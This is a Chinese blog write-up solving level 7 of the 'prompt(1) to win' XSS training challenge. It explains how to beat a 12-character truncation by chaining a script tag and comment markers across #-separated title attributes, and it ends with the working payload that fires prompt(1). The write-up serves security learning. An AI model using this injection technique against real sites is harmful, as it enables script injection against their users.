【prompt(1) to win】 Level 7 - Length



题目

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}

解题报告

题目代码很好理解:

  • 使用 # 切割 input 的字符串,切割后的子串会被顺次放到若干个 <p> 标签的 title 属性中
  • 子串长度若超过 12 则会被截断
  • input 内容没有做任何过滤

可以使用这个探针看到前面的分析效果:

11#2222#333333#44444444#5555555555#6666666666666666666666666#"><img src=0


需知道 javascript 代码有个特点:

  • 在 HTML 语境中,<script></script> 标签之间的内容默认视为 js 代码
  • js 代码换行后依然会自动拼接并生效(但是函数名/变量名要完整,不能破开到两行)
  • js 代码内容之间的注释会被自动忽略

因此对于这种限制长度的注入点,可以搭配 <script> 和多行注释 /* */ 进行绕过。

结合 title 属性值长度为 12 的限制进行考虑,可以尝试在本地构造这样的 HTML 代码,成功触发 prompt 事件:

<p class="comment" title=""><script>/*"></p>
<p class="comment" title="*/  prompt/*"></p>
<p class="comment" title="*/(1)     /*"></p>
<p class="comment" title="*/</script> "></p>

注意: <script></script> 标签用于声明 js 代码的范围,这两个标签不能从中间任何位置破开到两行,否则多行注释 /* */ 就不会起作用了。另外我在测试 payload 的时候,也尝试过 <!-- --> HTML 注释,但是尖括号会造成标签错位导致注入失败,有兴趣的同学可以研究下。

从前面构造的 HTML 代码中提取每一行的 title 属性值,使用 # 拼接,就得到最终 payload 如下(注意此处去掉了前面测试时的全部空格,那些空格只是为了便于对齐观察注入点,没有什么作用,保留或删除均可),完成挑战:

"><script>/*#*/prompt/*#*/(1)/*#*/</script>


答案下载


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录